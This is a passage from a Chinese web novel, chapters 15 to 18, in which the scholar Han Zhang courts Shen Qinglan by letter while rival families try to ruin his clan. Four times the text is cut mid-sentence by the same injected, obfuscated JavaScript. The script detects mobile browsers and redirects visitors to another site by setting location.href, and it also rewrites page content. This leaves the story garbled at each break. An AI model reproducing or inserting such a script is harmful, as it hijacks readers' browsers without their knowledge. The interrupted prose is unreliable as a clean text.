韩璋为难道:“可我已同掌柜说定,每日要做足一个时辰的杂役,怎能言而无信……”
“我去和掌柜的说,韩兄,你在这儿等我,我马上回来!”
沈清澜立马捂住他想拒绝的嘴,风风火火就跑去跟花铺掌柜要人。
韩璋看着对方积极的背影,眼底不自觉漫上一层温软的笑意。
待跟花铺掌柜说好后。
两人便就近找了一家馄饨摊坐下。
沈清澜也不嫌弃街边小摊,反而还主动招呼摊主。
“老板,两碗小馄饨,多加虾皮和石花菜(紫菜),再来一碟您家的白糖糕!”
语气很是熟稔。
韩璋露出诧异之色,仿佛没想到他这般身份,竟对街边小食如此熟悉。
沈清澜羞窘解释:“韩兄,你这般看我作甚?我虽家境还算优渥,但又不是真的少爷,哪有你想的那般娇贵,连街边小食都吃不得?”
“再说了,就算是官宦之家的少爷公子,也并非只吃山珍海味,这街边小食虽不高雅,可也是味道极好的。”
“尤其这家馄饨摊,好多年的老店了,我每回来这条街,都要来吃上一碗他家的小馄饨和白糖糕,真的特别特别好吃,韩兄,你等下尝了就知道!”
说到最后,沈清澜已经忘记了羞窘,只想着好吃的流口水。
倒真是传闻中憨吃憨玩的性格。
韩璋眼中带笑点头:“贤弟推荐定是没错,我一定好生品尝。”
说话间。
摊主已经端着热腾腾的小馄饨和白糖糕过来。
韩璋尝了尝,味道确实不错。
虽然调味料没有现代那么五花八门,但胜在食材新鲜和真材实料,鲜香可口,不比他在末世前吃过的那些酒店差。
沈清澜更是吃得腮帮子鼓鼓,说起这些日子积攒好久的话匣子。
“韩兄,你上次给我的吃食方子,我回去让厨子试过了,棉花糖真的好好吃,入口即化,吃着当真像云朵般……”
“韩兄,你给我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675431|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的泡泡水我也玩过了,真是好好玩!我和巧东巧西他们吹得满院子泡泡,五彩斑斓的特别漂亮。”
“还有音乐盒,真是太神奇了,竟然真的会自己奏乐!就是那音乐听着,也太悲伤了些……”
“还有!韩兄你太坏了,《双魂记》后续的故事怎么能够那般凄惨呢?”
“张秀才和乐哥儿为什么就不能在一起?前世被棒打鸳鸯,今生初见就是死别,真是哭死人了……”
说到话本故事,沈清澜就怨念十足。
他的张秀才和乐哥儿,咋就那么虐呢?
沈清澜想着就难受不已,激动拽住韩璋衣袖,打滚耍赖要求。
“不行!韩兄你必须把结局改掉,不然我跟你没完!往后天天追着你、日日念叨你,烦也要烦死你!”
韩璋:……
糟糕,似乎用力过度了。
没想到在这小哥儿心里,自己竟还比不上一段故事的结局!
不过。
改结局是不能改结局的,悲剧的魅力就是让人念念不忘。
韩璋笑着摇头:“不行,情节早已铺陈至此,若是强行更改,就失了原来的味道。”
“可是韩兄,张秀才和乐哥儿也太惨了,我都连着哭好几回了!”
沈清澜可怜巴巴。
可惜韩璋心硬如铁,他怎么央求耍赖都不答应。
最后看他实在难过。
韩璋安慰道:“贤弟莫要如此伤怀,虽然故事中张秀才和乐哥儿悲剧遗憾,可世间之事,往往正因留有遗憾,才更显圆满之可贵,才让我们更加珍惜当下,不是吗?”
“可是我好喜欢这个故事的张秀才!”
沈清澜恹恹不开心。
接着想到什么,语气扭捏询问:“韩兄,如果你是张秀才,也遇到这等棒打鸳鸯之事,你会怎么做呀?”
语气和眼中满满都是期待之色。
韩璋失笑道,“贤弟作何问这话?我还并未有心仪之人,既未经历,又如何能断言自己会如何抉择?毕竟人没有到那种时候,谁也不知自己是勇敢,还是懦弱。”
“便说那些为人母人父的妇人夫郎吧,平日里瞧着温婉柔和,可若有谁敢伤害她们的孩子,那份护犊的心,也能让她们生出虎狼之勇。”
“这倒是……”沈清澜点点头。
然后他又悄悄偷看韩璋,脸颊微微泛红道,“那韩兄,你喜欢什么样的哥儿啊?”
他故意只提哥儿,不问姑娘。
因为韩兄必须喜欢哥儿,他说的!
小哥儿揪着衣角,紧张又忐忑,眼巴巴等答案。
韩璋心中笑意,然后故作沉吟,略想了想,才缓声笑道。
“……大抵就像书中的乐哥儿吧。虽不通那么多诗书,但秉性善良,活泼可爱,若能与这样的哥儿结为夫郎,朝夕相伴,往后的岁月,定是有趣欢喜。”
“真的?韩兄真有眼光!我,我也最喜欢这样的哥儿了!”
沈清澜眼睛发亮,嘴角抑制不住地向上翘起,几乎要咧到耳根去。
心里乐开花,恨不得立时跳起来转几个圈才好。
韩兄说的每一条,他都中了!
没错,他就是这般单纯善良!这般活泼可爱的哥儿!
16.第 16 章
常言道:最高端的猎手,往往都是以猎物的方式出现。
沈清澜根本不知道自己被套路了,还当韩璋是个端方守礼的憨书生,美滋滋哥扮男装,借结拜兄弟之名,行亲近心上人之实。
韩璋自然也配合,小哥儿喜欢听什么,他就说什么。
虽然他没谈过恋爱,上辈子将所有时间都投进了事业打拼与生存挣扎之中,但他深谙人性,以及取悦合作伙伴之道。
——叫人舒心开怀,是他最拿手的本事!
而沈清澜却是个地道的古代小哥儿,久居深院,少见外男。
沈夫人身为正室,教子走的又是端庄一道,于揣摩男子心思方面,实在不及后院妾室通透,因而导致沈清澜在感情上,实在天真单纯。
还有,最重要的是,韩璋受过现代教育,对姑娘哥儿更加尊重。
比起时下大多数读书人,他不仅能甜言蜜语,还更加体贴!
沈清澜这般未曾见识过“男人手段”的单纯小哥儿,哪里遭得住如此美男计?
不过才第二次见面,小哥儿就已经深陷情网,难以自拔了。
两人在馄饨摊边吃边聊好久。
直到夕阳西斜,临别到来。
沈清澜眼中满是不舍,一双明亮的眸子眼巴巴地望着韩璋,带着几分笨拙和羞涩,犹豫半晌,终于鼓起勇气开口。
“韩兄,我知道东街李记面馆的臊子面,也特别特别好吃,汤头浓郁,肉臊鲜香……下次若你得闲,我们……我们一起去尝尝,好不好?”
少年目光灼灼,含着毫不掩饰的期盼。
韩璋看着他这副模样,莞尔一笑,轻轻点头应道:“好。”
沈清澜顿时欢喜得眉眼弯弯,又追着说道。
“那平日我们若不得见,韩兄也要记得给我写信,好不好?信就送到书斋,让王叔转交于我……我也会时常给韩兄写信的!”
韩璋仍是含笑:“好。”
“还有还有……”沈清澜越说越起劲,“韩兄写新话本的时候,定要提前告诉我一声,我替你参详参详,可不许再写成张秀才与乐哥儿那般凄凄惨惨的结局了!”
“那可不行。”韩璋摇头笑,“故事讲究顺其自然。若是情节走到悲处,哪能强行圆满?”
“我不管我不管。”沈清澜扯住他的衣袖,“我就要下一个话本里的主角平安喜乐,终得圆满!韩兄,你还听不听我的了?”
“若是不听,贤弟要如何?”韩璋挑眉逗弄他。
“不听……不听我就哭给你看!”沈清澜跺脚耍赖。
“……贤弟,你是男子,不是小哥儿。”
“男子就不能哭了吗?韩兄,你就应了我吧,好不好嘛?贤兄,韩璋兄,韩璋哥,韩璋大哥~”
沈清澜又开始撒娇打滚耍赖,抱住韩璋手臂摇晃,一副不达目的不罢休的架势。
韩璋到底还是朗笑点头:“好好好,真是服了你了,这般撒娇耍赖,哪有七尺男儿的模样?”
“韩兄,我才刚满十八,未及弱冠,还算不得七尺男儿呢……”
沈清澜仰起脸,笑得狡黠又明亮。
一番嬉闹,天边斜阳落下,归鸟成群掠过暮云。
终究是再耽搁不得了。
“韩兄,我今日真的很开心,你回去一定记得给我写信呀……”
沈清澜望着韩璋英俊的面孔依依不舍松开手。
一边挥手一边倒退走,直到贴身小侍跑过来拉他衣袖催促,才不情不愿地一步三回头离开。
真是可爱得很。
韩璋站在原地目送,直至对方背影消失,也才带着笑容返回书院。
……
回去写信肯定是要写信的。
韩璋还等着把漂亮夫郎钓成恋爱脑,鸿雁传书这种机会,当然不能错过!
只是这个信的内容,到底怎么写,还得仔细琢磨。
勾引的意图不能太明显,否则将来他们来往的事情暴露,沈父沈母调查他的时候,发现他是有意套路人家哥儿,肯定会气得把他皮给扒了。
所以情书的力度,必须好好把握。
而另一边。
沈清澜回府后。
巧东巧西看着自家公子眼角眉梢藏不住的春意,一副被钓成翘嘴的得意模样,只觉得眼前一黑,人生灰暗!
“公子,咱不是说好断了对韩郎君的念想吗?今日见到人,您怎得又眼巴巴凑上去,还……还和韩郎君相约鸿雁传书啊?”
巧东急得直跺脚,声音都带了哭腔。
巧西也赶忙附和,忧心忡忡地压低声音道。
“我的好公子,这可是私相授受!若是不慎被发现,您的名声,还有咱们沈府的名声,可就都完了……夫人那般严厉的性子,肯定会打死我们和巧南巧北的!”
后面才是重点。
公子做错了事,怎么都有一条活路,可他们这些做下人的,轻则发卖出府,重则小命难保,那才叫真的倒霉透顶。
眼看两人一副天塌下来的绝望表情,沈清澜也有些心虚。
但美男计的威力实在太大,他已在恋爱脑的道路上狂奔,彻底拉不住了。
一想到韩璋,沈清澜就觉得心中充满了无穷动力。
他扬起下巴,自信满满地安慰道。
“好了,好了,瞧你们那点出息,怕什么怕?我都被接连退换三次亲事了,早就是这京城里最大的笑柄,还有什么金贵名声可言?”
“当初府里那两个庶出的和五弟弟抢我未婚夫时,父亲一味偏心他们时,何曾考虑过沈府的名声?又何曾在乎过我的感受?他们都不怕,我干嘛还要死守着这些虚的!”
“我私相授受怎么了?总比他们勾引别人未婚夫来得光明正大!”
“再说,万一事情真暴露了,最坏的结果,也不过是顺势下嫁给韩兄,正好如了我的心意……”
“至于母亲那边,你们更不必忧心。只要我咬死不松口,母亲定不会真违背我的意愿打杀你们,顶多罚你们几个板子,扣些月钱。到时候我私下加倍补给你们便是。”
话虽如此,但谁知真到东窗事发时,又会是个什么光景?
巧东巧西对视一眼,欲哭无泪。
“公子,道理是这个道理,可不怕一万就怕万一啊!若是情况紧急,您来不及救我们可咋办?”
沈清澜:“……”
他,沈府小霸王,竟然连这点信誉都没有吗?
沈清澜羞恼没好气道:“没有这种可能!我若连身边最亲近的人都保不住,以后也别在这府里混了。你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683185|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对本公子有点信心好不好!”
“就算真没信心,你们如今也只能跟着本公子一条道走到黑。我与韩兄来往已然开始,你们就算现在立刻去向我娘告发,依照家法,知情不报、规劝不利,我娘也绝饶不了你们。”
“左右都是要受罚,你们还不如尽心尽力,替我好生掩饰此事,将来我好了,自然忘不了你们的功劳。”
“你们自幼便伺候我,今日我便给你们一句准话:无论此事结果如何,我定会竭尽全力,保你们和你们家人一条性命,一世安稳。”
他这番承诺,倒不全是出于主仆情谊,而是御下和树立威信的必要。
若身边心腹替他冒险做事,他却连最基本的保障都给不了,日后还有哪个下人敢对他忠心不二?
得了这般郑重承诺,巧东巧西那颗悬着的心才算落定。
然后。
两人便堆起谄媚的笑,嘿嘿凑上前讨好道:
“我们就知道,公子您是天底下最最明理、最最心善的主子!”
“公子,我们方才说的那些混账话,您可千万别往心里去。我们其实也觉得韩郎君极好,相貌堂堂、才华出众,虽说家底单薄了些,可品性才学,真是再好不过的佳婿人选。”
“公子,我们之前万般劝阻,也是怕人心难测,郎君易变,怕公子低嫁受委屈。毕竟这般前车之鉴,世上实在不少……”
这话倒真是出自真心。
他们公子自小锦衣玉食,若是下嫁寒门,日子定然清苦,想想就让人心疼。
沈清澜闻言轻叹一声。
“你们说的这些道理,我何尝不明白?可是…可是我只要一想到他,心里就满满都是欢喜。若那人是韩兄,即便日后真要吃些苦头,我也心甘情愿。”
“再说我有丰厚的嫁妆傍身,再怎么着,也不至于就落到吃糠咽菜的地步吧?”
“更何况,韩兄他是有真才实学的,将来必定不会碌碌无为,我信他。”
少年说这话时,眼眸亮晶晶的,里面盛满了对心上人的信任和期许。
巧东点头附和:“公子说的是!韩郎君能考入向南书院,学问是得了先生们认可的,将来再不济,一个举人功名总归是跑不了,足以安身立命了。”
巧西也笑嘻嘻地接话。
“就是就是!韩郎君笔下能写出‘张秀才’那般懂得疼惜人的角色,足见他骨子里也是个温柔体贴的,将来成了亲,定会把公子捧在手心里疼着爱着。”
“韩兄待人接物,确实是细致温和。而且……他今日说,他最欣赏的,就是话本里‘乐哥儿’那般天真烂漫的性子。”
沈清澜被说得有些不好意思,脸颊微红,声音也低了几分,带着羞怯的甜蜜。
随即又眼巴巴求肯定:“巧东巧西,你们说,我的性情,是不是和那‘乐哥儿’颇有几分相似?”
巧东和巧西自然是忙不迭地捧场,异口同声夸赞。
“是!太像了!公子您简直就是‘乐哥儿’在世,那活泼灵动,天真烂漫的劲儿,比话本里写的还有过之而无不及呢!”
“我也这般觉得……”
沈清澜这才心满意足,想着韩璋英俊的面容,以及含笑的模样,满心都是甜蜜憧憬。
整个人都被钓成了翘嘴。
17.第 17 章
两人郎有情,郎有意。
接下来数日,韩璋和沈清澜虽没有再见面,但却通过书信来往,关系越发亲近。
韩璋在信中也不写别的,就把沈清澜当做正常结交的兄弟朋友。
信中不谈风月,不论私情,只论文章得失,闲说读书心得。
分享自己生活中的趣事——譬如书院窗外的麻雀打架,街市新出的糖人模样,又或是对将来仕途的几分憧憬。
字字句句,皆是坦荡君子风,绝不主动提及半分暧昧。
没办法,不是他不想写些旁的,实在是……他怕以后被岳父调查,发现他是故意勾引人家哥儿的挨揍!
不过。
韩璋规矩守礼,沈清澜却不一样。
情窦初开的少年,心动起来根本藏不住满腔热情。
他不仅日日写信,还常让送信小厮捎来些新摘的花枝,笔墨、书籍……完事后还要理直气壮地讨要回礼!
韩璋能怎么办?
自然是纵着这“贤弟”的小性子,配合得很。
毕竟贤弟都要求了,做哥哥的怎能让弟弟失望。
于是,每次回信的时候,韩璋都会附带一些小礼物。
或是自己觉得不错的街头吃食,又或自己做的干花书签,还有发条青蛙等等现代儿童小玩意。
顺带调侃一句:“贤弟娇气,倒与家中弟妹甚是相似。”
回信吓得沈清澜心口狂跳,差点以为自己身份暴露了!
但随即,沈清澜就开心起来,满心都是甜丝丝的期待。
一边期待韩璋发现自己哥儿的身份,一边故作坦荡反过来调侃:“弟若为哥儿,贤兄当如何?”
真是好问题。
韩璋当然也坦荡回复:【玉颜如月映清辉,不敢高声恐惊飞。】
夸赞他容貌出色如谪仙,凡尘小子不敢瞻。
“韩兄可真是会说话!”
把沈清澜开心地扑进锦被中滚了好几圈才停下,笑得春意盎然。
……
这边韩璋和沈清澜来往火热,进展顺利,关系日渐深厚。
另一边。
上次跑来找茬嘲笑不成,反而灰溜溜丢脸走人的罗秀才,回去后是越想越憋屈。
越想那日自己当众落荒而逃的场景,越对韩璋愤恨不已。
还有些恐慌和担心。
因为他从沈清澜当时简单却料子名贵的穿着,判断出沈清澜绝非寻常富家子弟,肯定是哪个高门大户的少爷。
韩璋竟然在他不知道的时候,攀附上了这样的显贵!
对方还愿意站出来替韩璋出头,若是对方知道韩家被他们罗家打压的事情,韩璋求助上去,对方会不会出手相帮?
这可能性太大了。
罗秀才越想越慌,当即就回去把情况告知家里,与父亲和罗氏的族老们商议对策。
罗族长沉声道。
“我们罗氏和韩氏这些年摩擦不断,早已势同水火,上次佃田和徭役两件事,更是彻底撕破了脸皮。既然已经结下死仇,就决不能再让韩氏有喘息之机,必须将他们按死!”
罗父眉头紧锁,顾虑重重:“韩氏如今唯一的指望就是韩璋。可韩璋自身也是秀才功名,受朝廷律例庇护。”
“若我们直接对他下手,手段不够干净,留下把柄,恐会反噬自身,影响郢儿的仕途前程。”
京城重地,达官显贵云集,同样法度也更为森严,远非那些天高皇帝远、可以肆意妄为的偏远小县可比。
罗秀才以后是要走仕途的,必须珍惜羽毛。
然而,坐视韩家借助可能的贵人翻身,他们也是万万不能接受的。
罗族长眼中闪过狠厉,压低声音道。
“既如此,那便借刀杀人!我们没能力将事情做得天衣无缝,但孙员外却可以,孙家可是有官员在朝的……就让孙家去出这个头。”
“孙员外那般精明,能愿意为我们当这把刀?”
罗族长冷哼:“成与不成,总要试过才知。”
“让郢儿去寻孙小姐敲敲边鼓……孙员外或许会权衡利弊,但孙小姐对我们郢儿痴心一片,若能帮郢儿解决心头大患,她定会愿意。”
罗秀才也是这样想的,只是碍于读书人的体面,这等利用女子情感的事情,他没好意思直接说出来。
现在由族长提出正好。
利用孙家去对付韩家,成功了自然好,若失败了,也自有孙家在前面顶着压力!
罗秀才哄姑娘的本事,还是非常不错的。
这点从他长相和才学都不如原身,孙小姐却略过原身看上他,就足以可见一斑。
—
不出意外。
孙小姐听完他颠倒黑白的鬼话后,立马就恨上了韩璋。
“好个韩家郎,背地里竟是这等小人?他竟敢如此羞辱于你!当真可恶至极!”
“郢郎,你受了委屈,为何不早些告诉我?我定让父亲好生收拾这厮,替你出气!”
罗秀才心中高兴,面上却装模作样,深明大义劝说。
“芸娘,万万不可!我同你说这些,并非要你为我出头,只是……只是不想来日你被他虚伪面目蒙骗。”
“你可知道,韩璋那厮先前一直企图攀附于你,我听闻岳父大人甚至还有过将你许配给他的念头……我们虽已定下亲事,但还尚未成亲,我实在担忧岳父那里变故。”
“况且,韩璋毕竟身具功名,你家若是对他下手,被人诟病连累了叔父的官声,那可如何是好?”
“芸娘,为夫只要你明白我的心意,便足矣,你可懂得?”
说是这样说,但罗秀才脸上受辱的表情,却还明晃晃挂着。
至于韩璋疑似已经攀附上贵人的消息,他没说出来……
孙小姐也是被家里娇纵之人,心疼未婚夫,自然不会轻易罢休。
所以。
她立马就去找孙员外告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688753|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
状去了,“爹,您可要为我们做主啊!”
“韩璋欺负罗郢?我看是罗郢欺负韩璋才对!”
“那韩璋老夫见过,是个敦厚老实、读书上进的性子,反倒是罗郢那小子,心眼儿跟筛子似的,也就能哄骗于你!”
孙员外听完事情很是不悦。
他眼睛可没瞎,韩璋与罗郢二人品性如何,他看得清清楚楚。
原本他想投资的未来女婿是韩璋,谁料女儿被罗郢的花言巧语迷了心窍,要死要活,非君不嫁!
他子嗣不丰,膝下就正妻生的一儿一女,对这个女儿实在宠爱。
一番闹腾拗不过,最后也只能同意这门亲事。
想着大不了日后少给点助力,一辈子压着罗郢对他女儿好便是。
结果没想到啊,才刚走完定亲事宜,还未拜堂成亲呢,罗家借他孙家势力以报私仇,就借得这么顺手了!
孙员外道:“先前老夫出手帮他们罗氏打压韩氏,背后已然惹来不少诟病和流言了。若此时再出手,将韩家往绝路上逼,旁人会如何看待我孙家?定会认为我孙家仗势欺人,凶恶如虎!”
“这消息若传到你那位在县衙为官的叔父政敌耳中,更是授人以柄,必给我们孙家招来祸端?其中的轻重,你可知晓?”
孙小姐自然知道轻重,但她脑子已经被罗秀才给糊住了。
所以。
孙小姐当即反驳:“可是父亲,我们已经得罪了韩氏,如今不趁他们势弱,一鼓作气将其彻底打压下去,难道要等将来韩璋有出息吗?届时以己度人,他们难道会轻易放过我们孙家?”
“只要我们做得干净,不留下明显的把柄,即便有些风言风语,被人诟病又如何?”
“郢郎是我未来的夫君,他与韩璋势同水火,若将来韩璋前程光明,郢郎心里该如何难受?我与郢郎往后的日子,还能舒心顺意吗?”
“你还有脸说!”
孙员外气得哼了一声,指着女儿教训道。
“那韩璋无论是容貌、才学,哪一样不比罗郢强出百倍?偏你鬼迷心窍,死活要下嫁于罗郢!日后若跟着他吃苦受罪,那都是你自找的,该受着!”
孙小姐不服气:“韩璋再好也是个榆木疙瘩,郢郎虽处处不及他,但待我却是真心实意,我就喜欢他。”
“父亲,您到底答不答应女儿对韩氏动手?您若不答应,我……我就不活了!省得将来韩氏出息了,我跟着郢郎被人戳脊梁骨,受尽窝囊气!”
“再说了,父亲,您难道就愿意看见将来韩氏起来后,我们低三下四凑上去赔礼道歉吗……”
孙小姐又是央求,又是威胁。
孙员外最终到底还是没受住女儿的纠缠,点了头。
原因很简单。
女儿有句话说得没错,他可以为了家族利益,对上面的达官贵人弯腰赔笑。
但绝不能接受,将来要对昔日仰他鼻息,才能生存的寒酸农户卑躬屈膝。
18.第 18 章
孙员外可不是什么心慈手软之辈。
既然决定打压韩家,自然是说动手就动手!
不过几日功夫,正在书院读书的韩璋,就在落单的时候,遇到了地痞流氓围攻。
好在论打架,他这个在末世中活下来的人最是不怕。
别说几个地痞流氓,就是沙场归来的百战老兵,能不能打赢他都是个问题。
所以,地痞流氓不是问题。
问题是,在被那些地痞流氓找麻烦时,他很清楚感觉到这些人狰狞的情绪,完全是冲着把他打残来的,这就很嚣张,很有问题了。
他好歹也是个秀才,是有功名的人。
在这个读书人拥有崇高地位的时代,一般地痞流氓吃撑的才会对他下如此狠手。
所以,这背后肯定有人指使。
而这个疑惑,韩璋也很快在家里传来的噩耗中,得到了答案。
“大郎,家里、族里出事了,出大事了!”
韩父急奔来书院,气喘吁吁。
韩璋连忙扶住询问:“爹,您别急,先缓一缓,慢慢说,究竟出了什么事?”
“是孙员外……前几日不知为何,他突然又对我们韩家发难!先是带人封了后山的林道,不准我们韩氏族人再进山伐木,说那山是他孙家祖产……”
“这也就罢了,可紧接着,他又放话给城里所有铺面的掌柜,但凡是姓韩的伙计、学徒,一律辞退,一个不留!”
韩父越说越急,声音里带着哭腔:“可这还没完……他、他竟还对我们族中小辈的婚事下手!”
“孙员外四处放风,说我们韩家彻底得罪了他孙家,谁家要是敢跟韩氏结亲,就是跟他孙家过不去。”
“这下可好,族里好些已经出嫁的姑娘、哥儿,都被婆家寻由头休弃、和离回来了……而那些正在说亲的,更是全黄了!没人敢再跟我们韩家结亲啊!”
最后韩父忍不住激动痛哭,“不让我们伐木,大不了火柴生意少赚些银钱,勒紧裤腰带也能活……”
“可逼得咱们族里那些嫁出去的姑娘哥儿被休弃和离,让年轻一辈说不上亲事、成不了家——这是要绝我们韩家的后,把我们韩氏一族往死里逼啊!”
韩璋听完消息,也是拳头紧握,眸光暗沉。
毫无疑问,他昨日被地皮流氓寻衅的事情,很可能也是孙家指使的。
孙家这是想干嘛?
难道真要将他韩氏逼至家破人亡才肯罢休?
“父亲,我这就去向夫子告假,随您回村。”
韩璋没有犹豫,当即辞别书院,跟着韩父回了上坡村。
回到村里。
韩璋又跟族长族老们仔细了解一番事情,才知道这背后真正的手笔,是跟他们不对付的罗氏那群人。
“上坡村毕竟在京城脚下,孙员外虽平日行事算不得宽厚,却也并非那种轻易将人逼上绝路之人。”
“此事出来后,老夫深觉不对,往罗氏那边打听,果不其然,在孙员外对咱们发难之前,罗秀才去找过孙小姐……”
韩族长语气中带着气愤,又透出几分愁绪。
听到这里,经验丰富如韩璋,就猜到大概是怎么回事了。
想必是上次沈清澜为他出头时,被罗秀才看出身份不凡,误以为他也攀附上了权贵,唯恐日后遭他报复,索性便来个先下手为强。
俗话说,斩草要除根。
韩璋思想上能够理解罗氏的选择,但行为上不能接受。
毕竟现在不仅韩氏族人遭殃,昨日若不是他身手好,换成原主恐怕早就被打断腿脚,沦为残废之人了。
只是现在不是愤恨的时候,解决问题才是关键。
韩璋关心询问:“族长爷爷,火柴作坊那边,我们之前囤积了不少木材,暂时不急。只是那些被休弃、和离归家的姑娘和哥儿,族中是什么打算?”
据他所知,这里和他所在的世界古代没两样,被休弃和离的姑娘哥儿,都没什么好下场。
即便是家中备受宠爱的,为了家族名声,也只得匆匆低嫁远嫁,或是遁入空门,与青灯古佛了此残生。
虽说韩氏与罗氏本就存有旧怨,罗氏迟早会对韩氏出手,但此番风波终究是因他而起,他不能眼睁睁看着这些姑娘哥儿遭罪。
不过。
韩氏曾经到底也是名门望族,就算如今什么家业都没有留下,但眼界格局却是夺不走的财富,并非寻常农户可以比。
韩族长道:“此事本是族中与罗氏之间的恩怨,那些姑娘哥儿被休弃、和离,并非她们的过错,反倒是族里连累了她们。”
“老夫已与族人商议,先让她们安心在家中住下,待风头过去,再为她们另择良配,给她们重新找个好夫家。”
这是时下最正常宽厚的解决办法。
以如今的风气,女子与哥儿想要终身不嫁,几乎不可能。除非是守寡之身,否则肯定被唾沫星子淹死。
纵是金枝玉叶的皇室公主,也少不了流言蜚语,难逃悠悠众口。
韩氏一族未将过错推给这些姑娘哥儿,还愿为她们的将来打算,已属难得。
但韩璋觉得不行。
他沉吟片刻,郑重开口:“不,族长爷爷,绝不能让她们就这样草草再嫁。以她们如今被休弃、和离之名,除了给人做填房,或是嫁给年迈残疾者,哪还能寻得什么好归宿?”
“与其让咱们族中的姑娘哥儿外出受苦,不如将人留下,招婿入门,为我们韩氏一族开枝散叶。”
“招赘?为韩氏开枝散叶?”韩族长闻言陷入思索。
“正是。姻亲之事,无论嫁娶,总归结合两姓之后,生下来的子嗣血脉各占一半,。既然如此,招婿所生的孩子,只要姓韩,便是我韩氏族人。”
“一个家族想要昌盛,除了要有出色的领头人,更离不开人丁兴旺。”
“族长爷爷,咱们韩氏如今人口实在太少,老幼全算上也不过两百余人。若只靠青壮娶妻生育,要到何年何月才能子孙满堂?招赘,是条不错的路子。”
其实这主意,韩璋早就有所想法了。
因为人口才是最大的资源!
尤其在这样宗族为重的时代,家族是一个人最坚实的倚仗。只要不是生死大仇,在“株连九族”的法度之下,族人纵有嫌隙,关键时刻仍会抱团一致对外。
如今韩氏全族上下,不过两百余人。
这样的人力,实在太单薄了,办事根本不够用,必须尽快增添人口。
“只是愿意入赘的男子,恐怕人品相貌难有佳选。”
韩族长并非迂腐之人,就担心赘婿人选不好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688754|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
韩璋却道:“族长爷爷所虑极是,村里那些歪瓜裂枣,自然配不上我韩氏的好姑娘、好哥儿。况且他们家中人多口杂,日后难免牵缠。不如直接去牙行买人。”
“买人?”韩族长一怔。
“是的,买人。咱们去牙行专门挑那些无亲无故、相貌端正、身体强健的男人,有卖身契在手,又有长辈时刻敲打盯着,他们孤身一人,无所倚仗,岂敢不善待我族中的姑娘哥儿?”
“当然,这需得教导咱们族里的姑娘、哥儿自己立住,莫要心软耳根软,反被人几句温言软语拿捏了去。”
韩族长听完:……
虽然有些出格,但确实好有道理!
“可牙行中一个壮年男丁所费不赀,咱们族里哪儿来那么多银子?”
韩璋道:“这笔银钱我会想办法,现在还劳烦族长爷爷,去问问那些回来的姑娘哥儿,她们可愿意招婿留在族里?若她们舍不得孩子,我可替她们周旋,把孩子要过来,让孩子改姓入谱,也算是对她们此番遭遇的补偿。”
“此外,日后族中若有能干自立的姑娘哥儿,只要有能力挣银养家,皆可自行招婿,留在族中,为家族延续血脉。”
“族长爷爷应当明白,有些聪慧的女儿家,对家族的助益未必不如男儿。为振兴家门,我们须得不拘俗见,不择手段……”
“将愚钝者外嫁,将聪慧者留下,长此以往,择优而育,以后咱们家族就全是聪明人!”
反正做赘婿的不是他,死道友不死贫道,这些族人无论男女都是他手中的资源,岂能白白浪费姑娘哥儿们的才干?
韩璋说得慷概激昂。
韩族长听得也是心潮澎湃。
虽然总觉得哪里不对,但大郎说得就是很有道理的样子啊。
为了家族发展,何必拘泥小节!
何况,他们韩氏以前也不是没有主君无能,主母当家的例子。
“这法子好,这法子好!只是要安置这许多归家的姑娘哥儿,采买赘婿,添置产业,少说也需上百两银子,大郎你真有办法?”
韩族长既振奋又忐忑。
“放心吧族长爷爷,事关全族前程,我岂敢妄言?先前我写了一个话本,送去书斋卖得很是不错,如今手中已有好几十两,先应付着……”
“除此之外,还有那些失了活计的族人,也劳烦族长爷爷多加安抚。待咱们的“火柴作坊”步入正轨,大伙儿的日子也就好起来了。”
韩璋完全不担心。
他想赚银子实在太简单了,且不说他的话本已经开始有收入,就是靠异能催生几株名贵花草,便足以换得大把银钱。
只不过需要考虑合乎常理的由头,免得惹人怀疑而已。
韩族长听完愁眉终于舒展,高兴得连拍韩璋肩膀。
“好好好,大郎果真出息了,不愧是我韩氏麒麟子,不过此事乃家族之祸,这份责任,不能只由你一人承担。”
